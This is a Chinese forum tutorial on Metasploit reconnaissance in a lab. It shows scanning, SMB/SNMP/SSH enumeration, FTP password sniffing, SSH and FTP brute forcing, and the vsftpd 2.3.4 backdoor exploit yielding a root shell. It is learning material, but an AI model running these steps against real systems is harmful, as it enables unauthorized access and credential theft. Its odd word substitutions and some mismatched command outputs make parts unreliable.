网络安全学习之利用Metasploit举行信息网络

打印 上一主题 下一主题

主题 946|帖子 946|积分 2838

基于TCP协议网络主机信息


利用Metsploit中的nmap 和arp_sweep 网络主机信息

msf中也有类似nmap功能的工具,名字是 db_nmap,用法同 nmap一样,如下所示:
  1. msf6 > db_nmap -sS 192.168.1.106  ### SYN扫描,用法同nmap里的nmap -sS 192.168.1.106
  2. [*] Nmap: Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-03 16:12 CST
  3. [*] Nmap: Nmap scan report for 192.168.1.106
  4. [*] Nmap: Host is up (0.00019s latency).
  5. [*] Nmap: Not shown: 995 closed tcp ports (reset)
  6. [*] Nmap: PORT     STATE SERVICE
  7. [*] Nmap: 22/tcp   open  ssh
  8. [*] Nmap: 88/tcp   open  kerberos-sec
  9. [*] Nmap: 3031/tcp open  eppc
  10. [*] Nmap: 3283/tcp open  netassistant
  11. [*] Nmap: 5900/tcp open  vnc
  12. [*] Nmap: MAC Address: 78:4F:43:5A:47:FD (Apple)
  13. [*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 0.54 seconds
复制代码
ARP扫描
  1. msf6 > use auxiliary/scanner/discovery/arp_sweep  ## 使用辅助模块中的arp扫描器
  2. msf6 auxiliary(scanner/discovery/arp_sweep) > show options ##查看配置信息
  3. Module options (auxiliary/scanner/discovery/arp_sweep):
  4.    Name       Current Setting  Required  Description
  5.    ----       ---------------  --------  -----------
  6.    INTERFACE                   no        The name of the interface
  7.    RHOSTS                      yes       The target host(s), see https://github.com/rap
  8.                                          id7/metasploit-framework/wiki/Using-Metasploit
  9.    SHOST                       no        Source IP Address   ### 可伪造的源ip地址
  10.    SMAC                        no        Source MAC Address  ### 可伪造的源MAC地址
  11.    THREADS    1                yes       The number of concurrent threads (max one per
  12.                                          host)
  13.    TIMEOUT    5                yes       The number of seconds to wait for new data
  14. msf6 auxiliary(scanner/discovery/arp_sweep) > set RHOSTs 192.168.1.0/24   ### 设置要扫描的网络
  15. RHOSTs => 192.168.1.0/24
  16. msf6 auxiliary(scanner/discovery/arp_sweep) > set THREADS 10   ##  设置线程数
  17. THREADS => 10
  18. msf6 auxiliary(scanner/discovery/arp_sweep) > show options
  19. Module options (auxiliary/scanner/discovery/arp_sweep):
  20.   Name       Current Setting  Required  Description
  21.    ----       ---------------  --------  -----------
  22.    INTERFACE                   no        The name of the interface
  23.    RHOSTS     192.168.1.0/24   yes       The target host(s), see https://github.com/rap
  24.                                          id7/metasploit-framework/wiki/Using-Metasploit
  25.    SHOST                       no        Source IP Address
  26.    SMAC                        no        Source MAC Address  
  27.    THREADS    10               yes       The number of concurrent threads (max one per
  28.                                          host)
  29.    TIMEOUT    5                yes       The number of seconds to wait for new data
  30. msf6 auxiliary(scanner/discovery/arp_sweep) > run
  31. [+] 192.168.1.1 appears to be up (UNKNOWN).
  32. wc[+] 192.168.1.103 appears to be up (UNKNOWN).
  33. [+] 192.168.1.104 appears to be up (UNKNOWN).
  34. [*] Scanned 256 of 256 hosts (100% complete)
  35. [*] Auxiliary module execution completed
  36. msf6 auxiliary(scanner/discovery/arp_sweep) > back
复制代码
利用半连接方式扫描 tcp端口

  1. msf6 > search portscan
  2. Matching Modules
  3. ================
  4.    #  Name                                              Disclosure Date  Rank    Check  Description
  5.    -  ----                                              ---------------  ----    -----  -----------
  6.    0  auxiliary/scanner/portscan/ftpbounce                               normal  No     FTP Bounce Port Scanner ##FTP端口扫描
  7.    1  auxiliary/scanner/natpmp/natpmp_portscan                           normal  No     NAT-PMP External Port Scanner
  8.    2  auxiliary/scanner/sap/sap_router_portscanner                       normal  No     SAPRouter Port Scanner
  9.    3  auxiliary/scanner/portscan/xmas                                    normal  No     TCP "XMas" Port Scanner
  10.    4  auxiliary/scanner/portscan/ack                                     normal  No     TCP ACK Firewall Scanner ## ACK防火墙扫描
  11.    5  auxiliary/scanner/portscan/tcp                                     normal  No     TCP Port Scanner   ### TCP端口扫描
  12.    6  auxiliary/scanner/portscan/syn                                     normal  No     TCP SYN Port Scanner ## SYN 端口扫描
  13.    7  auxiliary/scanner/http/wordpress_pingback_access                   normal  No     Wordpress Pingback Locator
  14. msf6 > use auxiliary/scanner/portscan/syn
  15. msf6 auxiliary(scanner/portscan/tcp) > show options
  16. Module options (auxiliary/scanner/portscan/tcp):
  17.    Name         Current Setting  Required  Description
  18.    ----         ---------------  --------  -----------
  19.    CONCURRENCY  10               yes       The number of concurrent ports to check per host
  20.    DELAY        0                yes       The delay between connections, per thread, in milliseconds
  21.    JITTER       0                yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
  22.    PORTS        1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)
  23.    RHOSTS                        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  24.    THREADS      1                yes       The number of concurrent threads (max one per host)
  25.    TIMEOUT      1000             yes       The socket connect timeout in milliseconds
  26. View the full module info with the info, or info -d command.
  27. msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.1
  28. RHOSTS => 192.168.1.1/24
  29. msf6 auxiliary(scanner/portscan/tcp) > set THREADS 10
  30. ThreADS => 10
  31. msf6 auxiliary(scanner/portscan/tcp) > exploit
复制代码

利用 auxiliary /sniffer 下的 psnuffle 模块举行暗码嗅探

原理:截获常见协议 ftp、imap、pop3、smb、url等身份认证过程,记任命户名和暗码。
过程
利用lftp下令连接靶机上的ftp服务

┌──(root㉿kali)-[~]
└─# lftp -u msfadmin:msfadmin 192.168.1.102 -p 21
  1. msf6 > use  auxiliary/sniffer/psnuffle
  2. msf6 auxiliary(sniffer/psnuffle) > info  ## 查看该模块信息
  3.        Name: pSnuffle Packet Sniffer
  4.      Module: auxiliary/sniffer/psnuffle
  5.     License: Metasploit Framework License (BSD)
  6.        Rank: Normal
  7. Provided by:
  8.   Max Moser <mmo@remote-exploit.org>
  9. Available actions:  ### 可执行的动作
  10.   Name     Description
  11.   ----     -----------
  12.   List     List protocols   ### 列出支持的协议
  13.   Sniffer  Run sniffer   ### 运行 sniffer
  14. Check supported:
  15.   No
  16. Basic options:
  17.   Name       Current Setting  Required  Description
  18.   ----       ---------------  --------  -----------
  19.   FILTER                      no        The filter string for capturing traffic
  20.   INTERFACE                   no        The name of the interface
  21.   PCAPFILE                    no        The name of the PCAP capture file to process
  22.   PROTOCOLS  all              yes       A comma-delimited list of protocols to sniff or "all".
  23.   SNAPLEN    65535            yes       The number of bytes to capture
  24.   TIMEOUT    500              yes       The number of seconds to wait for new data
  25. Description:
  26.   This module sniffs passwords like dsniff did in the past  ##这个 psnuffle 模块可以像以前的 dsniff 命令一样,去嗅探密码,只支持 pop3、imap、ftp、HTTP GET 协议。
  27. ## Dsniff 是一个著名的网络嗅探工具包、高级口令嗅探工具、综合性的网络嗅探工具包
  28. View the full module info with the info -d command.
  29. msf6 auxiliary(sniffer/psnuffle) > list
  30. [*] Loaded protocol FTP from /usr/share/metasploit-framework/data/exploits/psnuffle/ftp.rb...
  31. [*] Loaded protocol IMAP from /usr/share/metasploit-framework/data/exploits/psnuffle/imap.rb...
  32. [*] Loaded protocol POP3 from /usr/share/metasploit-framework/data/exploits/psnuffle/pop3.rb...
  33. [*] Loaded protocol SMB from /usr/share/metasploit-framework/data/exploits/psnuffle/smb.rb...
  34. [*] Loaded protocol URL from /usr/share/metasploit-framework/data/exploits/psnuffle/url.rb...
  35. [*] Protocols: ftp, imap, pop3, smb, url
  36. [*] Auxiliary module execution completed
  37. msf6 auxiliary(sniffer/psnuffle) > sniffer
  38. [*] Successful FTP Login: 192.168.1.188:52004-192.168.1.102:21 >> msfadmin / msfadmin  ## 获取ftp登录的账号密码
复制代码

基于snmp协议网络信息

必要先修改靶机上的snmp服务配置,因为snmp服务默认是不对外开放的
  1. root@metasploitable:~# vim /etc/default/snmpd
  2. 找到下面这一行
  3. SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 127.0.0.1'
  4. 将下面行中的 127.0.0.1 修改为 0.0.0.0
  5. SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 0.0.0.0'
复制代码
修改完后,保存退出,并重启snmpd服务
  1. root@metasploitable:~# /etc/init.d/snmpd restart
  2. Restarting network management services: snmpd.
  3. root@metasploitable:~#
复制代码

实战-利用 snmp_enum 模块通过 snmp 协议扫描目的服务器信息

snmp_enum 是一个强盛的snmp枚举工具,可以允许用户分析一个网络所有的snmp信息传输
  1. msf6 > use auxiliary/scanner/snmp/snmp_enum
  2. msf6 auxiliary(scanner/snmp/snmp_enum) > info
  3.        Name: SNMP Enumeration Module
  4.      Module: auxiliary/scanner/snmp/snmp_enum
  5.     License: Metasploit Framework License (BSD)
  6.        Rank: Normal
  7. Provided by:
  8.   Matteo Cantoni <goony@nothink.org>
  9. Check supported:
  10.   No
  11. Basic options:
  12.   Name       Current Setting  Required  Description
  13.   ----       ---------------  --------  -----------
  14.   COMMUNITY  public           yes       SNMP Community String
  15.   RETRIES    1                yes       SNMP Retries
  16.   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  17.   RPORT      161              yes       The target port (UDP)
  18.   THREADS    1                yes       The number of concurrent threads (max one per host)
  19.   TIMEOUT    1                yes       SNMP Timeout
  20.   VERSION    1                yes       SNMP Version <1/2c>
  21. Description:
  22.   This module allows enumeration of any devices with SNMP protocol
  23.   support. It supports hardware, software, and network information.
  24.   The default community used is "public".
  25. References:
  26.   https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol
  27.   https://net-snmp.sourceforge.io/docs/man/snmpwalk.html
  28.   http://www.nothink.org/codes/snmpcheck/index.php
  29. View the full module info with the info -d command.
  30. msf6 auxiliary(scanner/snmp/snmp_enum) > set rhosts 192.168.1.102
  31. rhosts => 192.168.1.102
复制代码




扩展

其他好用的snmp枚举工具

SNMP 枚举工具snmpwalk

snmpwalk是一个SNMP应用步伐。它利用SNMP的GETNEXT哀求,查询指定的所有OID(SNMP协议中的对象标识)树信息,并表现给用户。
  1. a) –h 显示帮助
  2. b) –v 1|2c|3 指定SNMP协议版本
  3. c) –V 显示当前SNMPWALK命令行版本
  4. d) –r RETRIES 指定重试次数,默认为0次。
  5. e) –t TIMEOUT 指定每次请求的等待超时时间,单为秒,默认为3秒。
  6. f) –Cc 指定当在WALK时,如果发现OID负增长将是否继续WALK。
  7. 2. V1、V2C选项
  8. a) –c COMMUNITY 指定共同体字符串
  9. 3. V3选项
  10. a) –l LEVEL 指定安全级别:noAuthNoPriv|authNoPriv|authPriv
  11. b) –u USER-NAME 安全名字
  12. c) –a PROTOCOL 验证协议:MD5|SHA。如果-l指定为authNoPriv或authPriv时才需要。
  13. d) –A PASSPHRASE 验证字符串。如果-l指定为authNoPriv或authPriv时才需要。
  14. e) –x PROTOCOL 加密协议:DES。如果-l指定为authPriv时才需要。
  15. f) –X PASSPHRASE 加密字符串:如果-l指定为authPriv时才需要。
复制代码

SNMP 枚举工具snmpcheck


基于SMB协议网络信息

SMB概述:服务器消息块(Server Message Block),又称为网络文件共享系统(Common Internet File System) ,一种应用层网络传输协议,由微软开辟,主要功能是是网络上的呆板可以或许共享盘算机文件、打印机、串行端口和通讯等资源。
经过unix服务器厂商重新开辟后,它可用于连接unix和windows客户机,实验打印和文件共享等任务。

利用 smb_version 基于 SMB 协议扫描版本号

  1. msf6 > search smb_version
  2. Matching Modules
  3. ================
  4.    #  Name                               Disclosure Date  Rank    Check  Description
  5.    -  ----                               ---------------  ----    -----  -----------
  6.    0  auxiliary/scanner/smb/smb_version                   normal  No     SMB Version Detection
  7. Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smb/smb_version
  8. msf6 > use 0
  9. msf6 auxiliary(scanner/smb/smb_version) > show options
  10. Module options (auxiliary/scanner/smb/smb_version):
  11.    Name     Current Setting  Required  Description
  12.    ----     ---------------  --------  -----------
  13.    RHOSTS                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  14.    THREADS  1                yes       The number of concurrent threads (max one per host)
  15. View the full module info with the info, or info -d command.
  16. ### 注意: 设置多个目标,中间用逗号隔开,且逗号与后一个目标之间要有空格隔开。
  17. msf6 auxiliary(scanner/smb/smb_version) > set rhosts 192.168.1.102, 192.168.1.97   
  18. rhosts => 192.168.1.102, 192.168.1.97     
  19. msf6 auxiliary(scanner/smb/smb_version) > exploit
  20. [*] 192.168.1.102:445     - SMB Detected (versions:1) (preferred dialect:) (signatures:optional)
  21. [*] 192.168.1.102:445     -   Host could not be identified: Unix (Samba 3.0.20-Debian)
  22. [*] Scanned 1 of 2 hosts (50% complete)
  23. [*] 192.168.1.97:445      - SMB Detected (versions:2, 3) (preferred dialect:SMB 3.0.2) (signatures:required) (guid:{528e1363-aea8-895a-94a1-b960f94f7bf5}) (authentication domain:MACBOOK-PRO)
  24. [*] Scanned 2 of 2 hosts (100% complete)
  25. [*] Auxiliary module execution completed
  26. msf6 auxiliary(scanner/smb/smb_version) >
复制代码


利用 smb_enumshares 基于 SMB 协议扫共享文件(账号、暗码)

SMB 的模块中根本上都是可以配置用户名和暗码的,配置了用户名和暗码某些模块扫描的结果会更满足我们的需求。


  1. msf6 > search enumshares
  2. Matching Modules
  3. ================
  4.    #  Name                                    Disclosure Date  Rank    Check  Description
  5.    -  ----                                    ---------------  ----    -----  -----------
  6.    0  auxiliary/scanner/smb/smb_enumshares                     normal  No     SMB Share Enumeration
  7.    1  auxiliary/scanner/snmp/snmp_enumshares                   normal  No     SNMP Windows SMB Share Enumeration
  8. Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/snmp/snmp_enumshares
  9. msf6 > use auxiliary/scanner/smb/smb_enumshares
  10. msf6 auxiliary(scanner/smb/smb_enumshares) > show options
  11. Module options (auxiliary/scanner/smb/smb_enumshares):
  12.    Name                    Current Setting                         Required  Description
  13.    ----                    ---------------                         --------  -----------
  14.    HIGHLIGHT_NAME_PATTERN  username|password|user|pass|Groups.xml  yes       PCRE regex of resource names to highlight
  15.    LogSpider               3                                       no        0 = disabled, 1 = CSV, 2 = table (txt), 3 = one liner (txt) (Accepted: 0, 1, 2, 3)
  16.    MaxDepth                999                                     yes       Max number of subdirectories to spider
  17.    RHOSTS                                                          yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  18.    SMBDomain               .                                       no        The Windows domain to use for authentication
  19.    SMBPass                                                         no        The password for the specified username
  20.    SMBUser                                                         no        The username to authenticate as
  21.    Share                                                           no        Show only the specified share
  22.    ShowFiles               false                                   yes       Show detailed information when spidering
  23.    SpiderProfiles          true                                    no        Spider only user profiles when share is a disk share
  24.    SpiderShares            false                                   no        Spider shares recursively
  25.    THREADS                 1                                       yes       The number of concurrent threads (max one per host)
  26. View the full module info with the info, or info -d command.
  27. msf6 auxiliary(scanner/smb/smb_enumshares) > set rhosts 192.168.1.89
  28. rhosts => 192.168.1.89
  29. msf6 auxiliary(scanner/smb/smb_enumshares) > set SMBuser chao
  30. SMBuser => chao
  31. msf6 auxiliary(scanner/smb/smb_enumshares) > set smbpass 123456
  32. smbpass => 123456
  33. msf6 auxiliary(scanner/smb/smb_enumshares) > exploit
  34. [*] 192.168.1.89:139      - Starting module
  35. [-] 192.168.1.89:139      - Login Failed: The SMB server did not reply to our request
  36. [*] 192.168.1.89:445      - Starting module
  37. [!] 192.168.1.89:445      - peer_native_os is only available with SMB1 (current version: SMB3)
  38. [!] 192.168.1.89:445      - peer_native_lm is only available with SMB1 (current version: SMB3)
  39. [+] 192.168.1.89:445      - ADMIN$ - (DISK|SPECIAL) 远程管理
  40. [+] 192.168.1.89:445      - C$ - (DISK|SPECIAL) 默认共享
  41. [+] 192.168.1.89:445      - IPC$ - (IPC|SPECIAL) 远程 IPC
  42. [+] 192.168.1.89:445      - Users - (DISK)
  43. [+] 192.168.1.89:445      - wangdada - (DISK)
  44. [*] 192.168.1.89:         - Scanned 1 of 1 hosts (100% complete)
  45. [*] Auxiliary module execution completed
  46. ####  可以看到有 1 个是我们前面设置的 xuegod 共享文件目录还有 3 个是隐藏的共享目录。
复制代码

利用 smb_lookupsid 扫描系统用户信息(SID 枚举)

win7中新建一个用户(本实验为win10系统),
右键此电脑→管理→本地用户和组→用户 ,在空缺处,右击新建一个用户
用户: admin 暗码: 123456
如下图所示设置admin用户属性

  1. msf6 > search smb_lookupsid
  2. Matching Modules
  3. ================
  4.    #  Name                                                   Disclosure Date  Rank    Check  Description
  5.    -  ----                                                   ---------------  ----    -----  -----------
  6.    0  auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli                   normal  No     Microsoft SQL Server SQLi SUSER_SNAME Windows Domain Account Enumeration
  7.    1  auxiliary/admin/mssql/mssql_enum_domain_accounts                        normal  No     Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration
  8.    2  auxiliary/scanner/smb/smb_lookupsid                                     normal  No     SMB SID User Enumeration (LookupSid)
  9. Interact with a module by name or index. For example info 2, use 2 or use auxiliary/scanner/smb/smb_lookupsid
  10. msf6 > use auxiliary/scanner/smb/smb_lookupsid
  11. msf6 auxiliary(scanner/smb/smb_lookupsid) > show options
  12. Module options (auxiliary/scanner/smb/smb_lookupsid):
  13.    Name       Current Setting  Required  Description
  14.    ----       ---------------  --------  -----------
  15.    MaxRID     4000             no        Maximum RID to check
  16.    MinRID     500              no        Starting RID to check
  17.    RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  18.    SMBDomain  .                no        The Windows domain to use for authentication
  19.    SMBPass                     no        The password for the specified username
  20.    SMBUser                     no        The username to authenticate as
  21.    THREADS    1                yes       The number of concurrent threads (max one per host)
  22. Auxiliary action:
  23.    Name   Description
  24.    ----   -----------
  25.    LOCAL  Enumerate local accounts
  26. View the full module info with the info, or info -d command.
  27. msf6 auxiliary(scanner/smb/smb_lookupsid) > set rhosts 192.168.1.89
  28. rhosts => 192.168.1.89
  29. msf6 auxiliary(scanner/smb/smb_lookupsid) > set smbuser admin
  30. smbuser => admin
  31. msf6 auxiliary(scanner/smb/smb_lookupsid) > set smbpass 123456
  32. smbpass => 123456
  33. msf6 auxiliary(scanner/smb/smb_lookupsid) > exploit
  34. [*] 192.168.1.89:445      - PIPE(LSARPC) LOCAL(DESKTOP-2T86P3T - 5-21-2620834448-3206096960-2066338221) DOMAIN(WORKGROUP - )
  35. [*] 192.168.1.89:445      - USER=Administrator RID=500
  36. [*] 192.168.1.89:445      - USER=Guest RID=501
  37. [*] 192.168.1.89:445      - USER=DefaultAccount RID=503
  38. [*] 192.168.1.89:445      - USER=WDAGUtilityAccount RID=504
  39. [*] 192.168.1.89:445      - GROUP=None RID=513
  40. [*] 192.168.1.89:445      - USER=chao RID=1001
  41. [*] 192.168.1.89:445      - USER=admin RID=1002
  42. [*] 192.168.1.89:445      - DESKTOP-2T86P3T [Administrator, Guest, DefaultAccount, WDAGUtilityAccount, chao, admin ]
  43. [*] 192.168.1.89:         - Scanned 1 of 1 hosts (100% complete)
  44. [*] Auxiliary module execution completed
复制代码

基于 SSH 协议网络信息


查看ssh版本信息

  1. msf6 > use auxiliary/scanner/ssh/ssh_version
  2. msf6 auxiliary(scanner/ssh/ssh_version) > show options
  3. Module options (auxiliary/scanner/ssh/ssh_version):
  4.    Name     Current Setting  Required  Description
  5.    ----     ---------------  --------  -----------
  6.    RHOSTS                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  7.    RPORT    22               yes       The target port (TCP)
  8.    THREADS  1                yes       The number of concurrent threads (max one per host)
  9.    TIMEOUT  30               yes       Timeout for the SSH probe
  10. View the full module info with the info, or info -d command.
  11. msf6 auxiliary(scanner/ssh/ssh_version) > set RhOSTS 192.168.1.102
  12. RhOSTS => 192.168.1.102
  13. msf6 auxiliary(scanner/ssh/ssh_version) > exploit
复制代码


暴力破解ssh

  1. msf6 > use auxiliary/scanner/ssh/ssh_login
  2. msf6 auxiliary(scanner/ssh/ssh_login) > show options
  3. msf auxiliary(scanner/ssh/ssh_version) > set RHOSTS 192.168.1.102
  4. ## 设置字典文件默认的字典文件是不满足实际需求的后期我们使用更强大的字典文件。
  5. msf6 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
  6. ## 因为字典文件中不包含我们的用户密码信息我们把自己的密码信息手动加入进去以便展示效果
  7. ## 新开一个终端窗口
  8. ┌──(root㉿kali)-[/usr/share/metasploit-framework/data/wordlists]
  9. └─# echo "msfadmin msfadmin" >> /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
复制代码

ssh 暴力破解后,会自动建立与目的机的链接,可以通过sessions下令查看


基于 FTP 协议网络信息


查看 ftp 服务的版本信息

加载 ftp 服务版本扫描模块
  1. msf6 > use auxiliary/scanner/ftp/ftp_version
  2. msf6 auxiliary(scanner/ftp/ftp_version) > show options
  3. Module options (auxiliary/scanner/ftp/ftp_version):
  4.    Name     Current Setting      Required  Description
  5.    ----     ---------------      --------  -----------
  6.    FTPPASS  mozilla@example.com  no        The password for the specified username
  7.    FTPUSER  anonymous            no        The username to authenticate as
  8.    RHOSTS                        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/
  9.                                            wiki/Using-Metasploit
  10.    RPORT    21                   yes       The target port (TCP)
  11.    THREADS  1                    yes       The number of concurrent threads (max one per host)
  12. View the full module info with the info, or info -d command.
  13. msf6 auxiliary(scanner/ftp/ftp_version) > set rhosts 192.168.1.102
  14. rhosts => 192.168.1.102
  15. msf6 auxiliary(scanner/ftp/ftp_version) > exploit
  16. [+] 192.168.1.102:21      - FTP Banner: '220 (vsFTPd 2.3.4)\x0d\x0a'
  17. [*] 192.168.1.102:21      - Scanned 1 of 1 hosts (100% complete)
  18. [*] Auxiliary module execution completed
  19. msf6 auxiliary(scanner/ftp/ftp_version) > back
复制代码
扫描出 ftp 服务的版本号,我们可以尝试搜索版本号,看看有没有可以利用的模块
msf6 > search 2.3.4

大概搜索 vsftpd
msf6 > search vsftpd

我们发现存在一个 exploit 模块,而且这个版本的 ftp 服务存在一个后门
我们尝试利用下这个模块
  1. msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
  2. [*] No payload configured, defaulting to cmd/unix/interact
  3. msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
  4. Module options (exploit/unix/ftp/vsftpd_234_backdoor):
  5.    Name    Current Setting  Required  Description
  6.    ----    ---------------  --------  -----------
  7.    RHOSTS                   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/
  8.                                       Using-Metasploit
  9.    RPORT   21               yes       The target port (TCP)
  10. Payload options (cmd/unix/interact):
  11.    Name  Current Setting  Required  Description
  12.    ----  ---------------  --------  -----------
  13. Exploit target:
  14.    Id  Name
  15.    --  ----
  16.    0   Automatic
  17. View the full module info with the info, or info -d command.
  18. msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.102
  19. rhosts => 192.168.1.102
  20. msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
  21. [*] 192.168.1.102:21 - Banner: 220 (vsFTPd 2.3.4)
  22. [*] 192.168.1.102:21 - USER: 331 Please specify the password.
  23. [+] 192.168.1.102:21 - Backdoor service has been spawned, handling...
  24. [+] 192.168.1.102:21 - UID: uid=0(root) gid=0(root)
  25. [*] Found shell.
  26. [*] Command shell session 3 opened (192.168.1.188:46221 -> 192.168.1.102:6200) at 2022-11-25 23:10:07 +0800
复制代码

拿到了目的主机的shell,而且是root权限。

ftp 匿名登录扫描

  1. msf6 > use auxiliary/scanner/ftp/anonymous
  2. msf6 auxiliary(scanner/ftp/anonymous) > show options
  3. Module options (auxiliary/scanner/ftp/anonymous):
  4.    Name     Current Setting      Required  Description
  5.    ----     ---------------      --------  -----------
  6.    FTPPASS  mozilla@example.com  no        The password for the specified username
  7.    FTPUSER  anonymous            no        The username to authenticate as
  8.    RHOSTS                        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/
  9.                                            wiki/Using-Metasploit
  10.    RPORT    21                   yes       The target port (TCP)
  11.    THREADS  1                    yes       The number of concurrent threads (max one per host)
  12. View the full module info with the info, or info -d command.
  13. msf6 auxiliary(scanner/ftp/anonymous) > set rhosts 192.168.1.102
  14. rhosts => 192.168.1.102
  15. msf6 auxiliary(scanner/ftp/anonymous) > exploit
  16. [+] 192.168.1.102:21      - 192.168.1.102:21 - Anonymous READ (220 (vsFTPd 2.3.4))
  17. [*] 192.168.1.102:21      - Scanned 1 of 1 hosts (100% complete)
  18. [*] Auxiliary module execution completed
  19. msf6 auxiliary(scanner/ftp/anonymous) >
复制代码

ftp暴力破解

  1. msf6 > search ftp_login
  2. Matching Modules
  3. ================
  4.    #  Name                             Disclosure Date  Rank    Check  Description
  5.    -  ----                             ---------------  ----    -----  -----------
  6.    0  auxiliary/scanner/ftp/ftp_login                   normal  No     FTP Authentication Scanner
  7. Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/ftp/ftp_login
  8. msf6 > use auxiliary/scanner/ftp/ftp_login
  9. msf6 auxiliary(scanner/ftp/ftp_login) > show options
  10. Module options (auxiliary/scanner/ftp/ftp_login):
  11.    Name              Current Setting  Required  Description
  12.    ----              ---------------  --------  -----------
  13.    BLANK_PASSWORDS   false            no        Try blank passwords for all users
  14.    BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
  15.    DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
  16.    DB_ALL_PASS       false            no        Add all passwords in the current database to the list
  17.    DB_ALL_USERS      false            no        Add all users in the current database to the list
  18.    DB_SKIP_EXISTING  none             no        Skip existing credentials stored in the current database (Accepted
  19.                                                 : none, user, user&realm)
  20.    PASSWORD                           no        A specific password to authenticate with
  21.    PASS_FILE                          no        File containing passwords, one per line
  22.    Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
  23.    RECORD_GUEST      false            no        Record anonymous/guest logins to the database
  24.    RHOSTS                             yes       The target host(s), see https://github.com/rapid7/metasploit-frame
  25.                                                 work/wiki/Using-Metasploit
  26.    RPORT             21               yes       The target port (TCP)
  27.    STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
  28.    THREADS           1                yes       The number of concurrent threads (max one per host)
  29.    USERNAME                           no        A specific username to authenticate as
  30.    USERPASS_FILE                      no        File containing users and passwords separated by space, one pair p
  31.                                                 er line
  32.    USER_AS_PASS      false            no        Try the username as the password for all users
  33.    USER_FILE                          no        File containing usernames, one per line
  34.    VERBOSE           true             yes       Whether to print output for all attempts
  35. View the full module info with the info, or info -d command.
  36. msf6 auxiliary(scanner/ftp/ftp_login) > set rhosts 192.168.1.102
  37. rhosts => 192.168.1.102
  38. msf6 auxiliary(scanner/ftp/ftp_login) > set userpass_file /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
  39. userpass_file => /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
  40. msf6 auxiliary(scanner/ftp/ftp_login) > exploit
  41. [*] 192.168.1.102:21      - 192.168.1.102:21 - Starting FTP login sweep
  42. [-] 192.168.1.102:21      - 192.168.1.102:21 - LOGIN FAILED: root: (Incorrect: )
  43. [+] 192.168.1.102:21      - 192.168.1.102:21 - Login Successful: msfadmin:msfadmin
  44. [-] 192.168.1.102:21      - 192.168.1.102:21 - LOGIN FAILED: root:123456 (Incorrect: )
  45. [-] 192.168.1.102:21      - 192.168.1.102:21 - LOGIN FAILED: root:!root (Incorrect: )
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

魏晓东

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表